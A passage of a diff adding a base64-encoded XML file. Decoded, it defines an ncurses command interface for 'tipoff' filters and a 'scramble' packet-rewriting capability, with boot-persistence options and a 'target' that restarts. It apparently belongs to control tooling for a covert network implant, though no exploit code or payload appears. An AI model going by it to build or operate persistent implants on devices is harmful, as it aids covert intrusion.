+ZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD50aXBvZmZfYWRkX3BhcmFtX0VOPC9u
+Y3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkVuYWJsZTwvbmN1cnNlbGFiZWw+
+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+cHJlc2Vu
+Y2U8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTwvc2l6ZT4NCiAgICAgICAgICAgICAg
+ICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJp
+bWl0aXZlPjB4MEUwMDAwMDU8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVy
+PjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+RW5hYmxlIHRoZSBmaWx0
+ZXIgaW1tZWRpYXRlbHkgYWZ0ZXIgYWRkaW5nLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwv
+YXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1l
+dGVyIGZsYWc9ImIiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNl
+bnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnRpcG9mZl9hZGRfcGFyYW1fQjwvbmN1
+cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Cb290IHBlcnNpc3RlbmNlPC9uY3Vy
+c2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlw
+ZT5wcmVzZW5jZTwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAgICAg
+ICAgICAgICAgIDxkZWZhdWx0dmFsdWU+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAg
+ICAgIDxwcmltaXRpdmU+MHgwRTAwMDAwODwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxo
+ZWxwdGV4dD5UaGUgZmlsdGVyIHdpbGwgYXV0b21hdGljYWxseSBiZSBlbmFibGVkIHdoZW5ldmVy
+IHRoZSB0YXJnZXQgaXMgcmVzdGFydGVkLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgPC9vcHRpb25hbF9w
+YXJhbWV0ZXJzPg0KICAgICAgICA8L3BhcmFtZXRlcnM+DQogICAgICAgIDxuY3Vyc2VzbGF5b3V0
+Pg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAg
+ICAgPHRpdGxlPlRpcG9mZiBDcmVhdGUgRmlsdGVyPC90aXRsZT4NCiAgICAgICAgICAgIDwvY29s
+dW1uPg0KICAgICAgICAgIDwvc2VjdGlvbj4NCiAgICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAg
+ICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnRpcG9mZl9jcmVhdGVfYXR0cmli
+XzE8L2VsZW1lbnQ+DQogICAgICAgICAgICAgIDxlbGVtZW50PnRpcG9mZl9jcmVhdGVfYXR0cmli
+XzI8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+
+DQogICAgICAgICAgICAgIDxlbGVtZW50PnRpcG9mZl9jcmVhdGVfYXR0cmliXzM8L2VsZW1lbnQ+
+DQogICAgICAgICAgICAgIDxlbGVtZW50PnRpcG9mZl9jcmVhdGVfYXR0cmliXzQ8L2VsZW1lbnQ+
+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAgICAg
+PHNlY3Rpb24+DQogICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD50
+aXBvZmZfY3JlYXRlX2F0dHJpYl81PC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD50
+aXBvZmZfY3JlYXRlX2F0dHJpYl82PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQog
+ICAgICAgICAgICA8Y29sdW1uPg0KICAgICAgICAgICAgICA8ZWxlbWVudD50aXBvZmZfY3JlYXRl
+X2F0dHJpYl83PC9lbGVtZW50Pg0KICAgICAgICAgICAgICA8ZWxlbWVudD50aXBvZmZfY3JlYXRl
+X2F0dHJpYl84PC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9z
+ZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAg
+ICAgICAgICAgPGVsZW1lbnQ+dGlwb2ZmX2NyZWF0ZV9hdHRyaWJfOTwvZWxlbWVudD4NCiAgICAg
+ICAgICAgIDwvY29sdW1uPg0KICAgICAgICAgICAgPGNvbHVtbi8+DQogICAgICAgICAgPC9zZWN0
+aW9uPg0KICAgICAgICAgIDxzZWN0aW9uPg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAg
+ICAgICAgPGVsZW1lbnQ+dGlwb2ZmX2FkZF9wYXJhbV9NVDwvZWxlbWVudD4NCiAgICAgICAgICAg
+ICAgPGVsZW1lbnQ+dGlwb2ZmX2FkZF9wYXJhbV9FTjwvZWxlbWVudD4NCiAgICAgICAgICAgICAg
+PGVsZW1lbnQ+dGlwb2ZmX2FkZF9wYXJhbV9CPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1
+bW4+DQogICAgICAgICAgICA8Y29sdW1uLz4NCiAgICAgICAgICA8L3NlY3Rpb24+DQogICAgICAg
+IDwvbmN1cnNlc2xheW91dD4NCiAgICAgIDwvY21kPg0KICAgIDwvY21kZ3JwPg0KICAgIDxjbWQg
+dGl0bGU9ImRlbGV0ZSI+DQogICAgICA8aGVscHRleHQ+RGVsZXRlcyBhIHByZXZpb3VzbHkgY3Jl
+YXRlZCBmaWx0ZXIuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVx
+dWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MEUwMDAwMEI8L3ByaW1p
+dGl2ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxf
+cHJpbWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8YXR0cmlidXRlcz4NCiAg
+ICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgPG5jdXJzZWlkPnRpcG9mZl9kZWxfYXR0cmliXzE8L25jdXJzZWlkPg0K
+ICAgICAgICAgICAgPG5jdXJzZWxhYmVsPkV2ZW50IElEPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAg
+ICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDx0eXBlPnN0cmluZzwvdHlwZT4NCiAgICAg
+ICAgICAgICAgPHNpemU+MzI8L3NpemU+DQogICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRTAw
+MDAwQjwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICA8YXJnbnVtYmVyPjE8L2FyZ251bWJlcj4N
+CiAgICAgICAgICAgICAgPGtleXdvcmQgdGl0bGU9Ii1hIj4NCiAgICAgICAgICAgICAgICA8dmFs
+dWU+MDwvdmFsdWU+DQogICAgICAgICAgICAgIDwva2V5d29yZD4NCiAgICAgICAgICAgIDwvYXR0
+cmlidXRlPg0KICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgIDwvcmVxdWly
+ZWRfYXR0cmlidXRlcz4NCiAgICAgICAgPG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAgPC9h
+dHRyaWJ1dGVzPg0KICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0KICAg
+ICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICA8dGl0bGU+VGlwb2ZmIERlbGV0ZTwvdGl0bGU+
+DQogICAgICAgICAgICA8ZWxlbWVudD50aXBvZmZfZGVsX2F0dHJpYl8xPC9lbGVtZW50Pg0KICAg
+ICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQogICAgICA8L25jdXJzZXNsYXlv
+dXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZCB0aXRsZT0iZGVsYXkiPg0KICAgICAgPGhlbHB0ZXh0
+PlNldHMgdGhlIHRpbWUgdGhhdCBhIHRvb2wgd2lsbCB3YWl0IGFmdGVyIGEgdGlwb2ZmIGV2ZW50
+IGhhcyBvY2N1cmVkIGJlZm9yZSBhIHRpcG9mZiBtZXNzYWdlIGlzIHNlbnQuPC9oZWxwdGV4dD4N
+CiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAg
+ICAgICA8cHJpbWl0aXZlPjB4MEUwMDAwMDY8L3ByaW1pdGl2ZT4NCiAgICAgICAgPC9yZXF1aXJl
+ZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcy8+DQogICAgICA8L3By
+aW1pdGl2ZXM+DQogICAgICA8YXR0cmlidXRlcz4NCiAgICAgICAgPHJlcXVpcmVkX2F0dHJpYnV0
+ZXM+DQogICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPG5jdXJzZWlk
+PnRpcG9mZl9kZWxheV9hdHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICA8bmN1cnNlbGFi
+ZWw+dGltZTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAg
+ICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0K
+ICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEUwMDAwMDY8L3ByaW1pdGl2ZT4NCiAgICAgICAg
+ICAgICAgPGFyZ251bWJlcj4xPC9hcmdudW1iZXI+DQogICAgICAgICAgICA8L2F0dHJpYnV0ZT4N
+CiAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICA8L3JlcXVpcmVkX2F0dHJp
+YnV0ZXM+DQogICAgICAgIDxvcHRpb25hbF9hdHRyaWJ1dGVzLz4NCiAgICAgIDwvYXR0cmlidXRl
+cz4NCiAgICAgIDxuY3Vyc2VzbGF5b3V0Pg0KICAgICAgICA8c2VjdGlvbj4NCiAgICAgICAgICA8
+Y29sdW1uPg0KICAgICAgICAgICAgPHRpdGxlPlRpcG9mZiBEZWxheTwvdGl0bGU+DQogICAgICAg
+ICAgICA8ZWxlbWVudD50aXBvZmZfZGVsYXlfYXR0cmliXzE8L2VsZW1lbnQ+DQogICAgICAgICAg
+PC9jb2x1bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1cnNlc2xheW91dD4NCiAg
+ICA8L2NtZD4NCiAgPC9jbWRncnA+DQogIDxjbWRncnAgdGl0bGU9InNjcmFtYmxlIj4NCiAgICA8
+Y21kIHRpdGxlPSJzaG93Ij4NCiAgICAgIDxoZWxwdGV4dD5SZXR1cm5zIHRoZSBjdXJyZW50IHNl
+dHRpbmdzIGFuZCB2ZXJzaW9uIGluZm9ybWF0aW9uIG9mIHRoZSBzY3JhbWJsZSBjYXBhYmlsaXR5
+LjwvaGVscHRleHQ+DQogICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgPHJlcXVpcmVkX3ByaW1p
+dGl2ZXM+DQogICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAxPC9wcmltaXRpdmU+DQogICAg
+ICAgIDwvcmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgPG9wdGlvbmFsX3ByaW1pdGl2ZXMv
+Pg0KICAgICAgPC9wcmltaXRpdmVzPg0KICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAgIDxyZXF1
+aXJlZF9hdHRyaWJ1dGVzLz4NCiAgICAgICAgPG9wdGlvbmFsX2F0dHJpYnV0ZXMvPg0KICAgICAg
+PC9hdHRyaWJ1dGVzPg0KICAgICAgPG5jdXJzZXNsYXlvdXQ+DQogICAgICAgIDxzZWN0aW9uPg0K
+ICAgICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICA8dGl0bGU+U2NyYW1ibGUgU2hvdzwvdGl0
+bGU+DQogICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgIDwvc2VjdGlvbj4NCiAgICAgIDwvbmN1
+cnNlc2xheW91dD4NCiAgICA8L2NtZD4NCiAgICA8Y21kIHRpdGxlPSJzdGF0dXMiPg0KICAgICAg
+PGhlbHB0ZXh0PlJldHVybnMgZ2xvYmFsIHN0YXRpc3RpY3MgYWJvdXQgdGhlIHNjcmFtYmxlIGNh
+cGFiaWxpdHkuPC9oZWxwdGV4dD4NCiAgICAgIDxwcmltaXRpdmVzPg0KICAgICAgICA8cmVxdWly
+ZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDA8L3ByaW1pdGl2
+ZT4NCiAgICAgICAgPC9yZXF1aXJlZF9wcmltaXRpdmVzPg0KICAgICAgICA8b3B0aW9uYWxfcHJp
+bWl0aXZlcy8+DQogICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICA8YXR0cmlidXRlcz4NCiAgICAg
+ICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXMvPg0KICAgICAgICA8b3B0aW9uYWxfYXR0cmlidXRlcy8+
+DQogICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICA8bmN1cnNlc2xheW91dD4NCiAgICAgICAgPHNl
+Y3Rpb24+DQogICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgIDx0aXRsZT5TY3JhbWJsZSBT
+dGF0dXM8L3RpdGxlPg0KICAgICAgICAgIDwvY29sdW1uPg0KICAgICAgICA8L3NlY3Rpb24+DQog
+ICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgPC9jbWQ+DQogICAgPGNtZGdycCB0aXRsZT0iY3Jl
+YXRlIj4NCiAgICAgIDxjbWQgdGl0bGU9ImlwLXR0bCI+DQogICAgICAgIDxoZWxwdGV4dD5DcmVh
+dGVzIGEgbmV3IGlwLXR0bCBydWxlIGJhc2VkIG9uIHRoZSBzcGVjaWZpZWQgY3JpdGVyaWEuPC9o
+ZWxwdGV4dD4NCiAgICAgICAgPHByaW1pdGl2ZXM+DQogICAgICAgICAgPHJlcXVpcmVkX3ByaW1p
+dGl2ZXM+DQogICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNjwvcHJpbWl0aXZlPg0KICAgICAgICAgIDwv
+cmVxdWlyZWRfcHJpbWl0aXZlcz4NCiAgICAgICAgICA8b3B0aW9uYWxfcHJpbWl0aXZlcz4NCiAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAg
+PHByaW1pdGl2ZT4weDBGMDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgICAgPC9vcHRpb25hbF9w
+cmltaXRpdmVzPg0KICAgICAgICA8L3ByaW1pdGl2ZXM+DQogICAgICAgIDxhdHRyaWJ1dGVzPg0K
+ICAgICAgICAgIDxyZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0
+cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vy
+c2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzE8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAg
+IDxuY3Vyc2VsYWJlbD5Tb3VyY2UgSVA8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICAgIDx0
+eXBlPmlwdjQ8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTY8L3NpemU+DQogICAgICAg
+ICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAg
+ICAgPGFyZ251bWJlcj4xPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8bmN1
+cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8yPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAg
+ICA8bmN1cnNlbGFiZWw+U291cmNlIE1hc2s8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICAg
+IDx0eXBlPmlwdjQ8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTY8L3NpemU+DQogICAg
+ICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAg
+ICAgICAgPGFyZ251bWJlcj4yPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5k
+X2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRy
+aWJfMzwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5TdGFydCBTcmMgUG9y
+dDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAg
+ICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0K
+ICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAg
+ICAgICAgICAgIDxhcmdudW1iZXI+MzwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICA8L2F0dHJp
+YnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8Y29t
+bWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVf
+YXR0cmliXzQ8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+RW5kIFNyYyBQ
+b3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAg
+ICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+
+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAg
+ICAgICAgICAgICAgPGFyZ251bWJlcj40PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxj
+b21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAg
+ICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl81PC9uY3Vyc2VpZD4NCiAgICAg
+ICAgICAgICAgICA8bmN1cnNlbGFiZWw+RGVzdGluYXRpb24gSVA8L25jdXJzZWxhYmVsPg0KICAg
+ICAgICAgICAgICAgIDx0eXBlPmlwdjQ8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTY8
+L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+
+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj41PC9hcmdudW1iZXI+DQogICAgICAgICAgICAg
+IDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAg
+ICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl82PC9uY3Vyc2VpZD4N
+CiAgICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+RGVzdGluYXRpb24gTWFzazwvbmN1cnNlbGFi
+ZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAgICAgICAgICAgICA8
+c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3By
+aW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjY8L2FyZ251bWJlcj4NCiAgICAg
+ICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+
+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl83PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWxhYmVsPlN0YXJ0IERzdCBQb3J0PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJp
+YnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAg
+ICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAz
+PC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj43PC9hcmdudW1iZXI+DQog
+ICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0
+ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfODwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxu
+Y3Vyc2VsYWJlbD5FbmQgRHN0IFBvcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0
+cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAg
+ICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAw
+MDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjg8L2FyZ251bWJlcj4N
+CiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmli
+dXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0
+cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmli
+Xzk8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5Qcm90b2NvbDwvbmN1
+cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAg
+ICAgICAgIDxzaXplPjE2PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAw
+MDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+OTwvYXJnbnVtYmVy
+Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRy
+aWJ1dGU+DQogICAgICAgICAgPC9yZXF1aXJlZF9hdHRyaWJ1dGVzPg0KICAgICAgICAgIDxvcHRp
+b25hbF9hdHRyaWJ1dGVzLz4NCiAgICAgICAgPC9hdHRyaWJ1dGVzPg0KICAgICAgICA8cGFyYW1l
+dGVycz4NCiAgICAgICAgICA8cmVxdWlyZWRfcGFyYW1ldGVycy8+DQogICAgICAgICAgPG9wdGlv
+bmFsX3BhcmFtZXRlcnM+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9ImVuIj4NCiAgICAg
+ICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAg
+ICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9lbjwvbmN1cnNlaWQ+DQogICAgICAgICAgICAg
+IDxuY3Vyc2VsYWJlbD5FbmFibGU8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmli
+dXRlPg0KICAgICAgICAgICAgICAgIDx0eXBlPnByZXNlbmNlPC90eXBlPg0KICAgICAgICAgICAg
+ICAgIDxzaXplPjE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT50cnVlPC9k
+ZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDA0PC9wcmlt
+aXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4yPC9hcmdudW1iZXI+DQogICAgICAg
+ICAgICAgICAgPGhlbHB0ZXh0PkVuYWJsZXMgdGhlIHJ1bGUgb24gY3JlYXRpb248L2hlbHB0ZXh0
+Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0K
+ICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJwcyI+DQogICAgICAgICAgICAgIDxjYXNlc2Vu
+c2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2Ny
+YW1ibGVfcGFyYW1fcHM8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+UGVy
+c2lzdDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAg
+ICAgICAgPHR5cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTwvc2l6
+ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2YWx1ZT4NCiAg
+ICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDU8L3ByaW1pdGl2ZT4NCiAgICAgICAg
+ICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRl
+eHQ+RW5hYmxlIHRoZSBmaWx0ZXIgdG8gc3Vydml2ZSByZWJvb3RzLjwvaGVscHRleHQ+DQogICAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAg
+ICAgICA8cGFyYW1ldGVyIGZsYWc9InIiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5m
+YWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3Bh
+cmFtX3I8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+QXV0byBSZXN0YXJ0
+PC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAg
+ICA8dHlwZT5wcmVzZW5jZTwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0K
+ICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0KICAgICAg
+ICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAg
+ICAgIDxhcmdudW1iZXI+MTA8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+
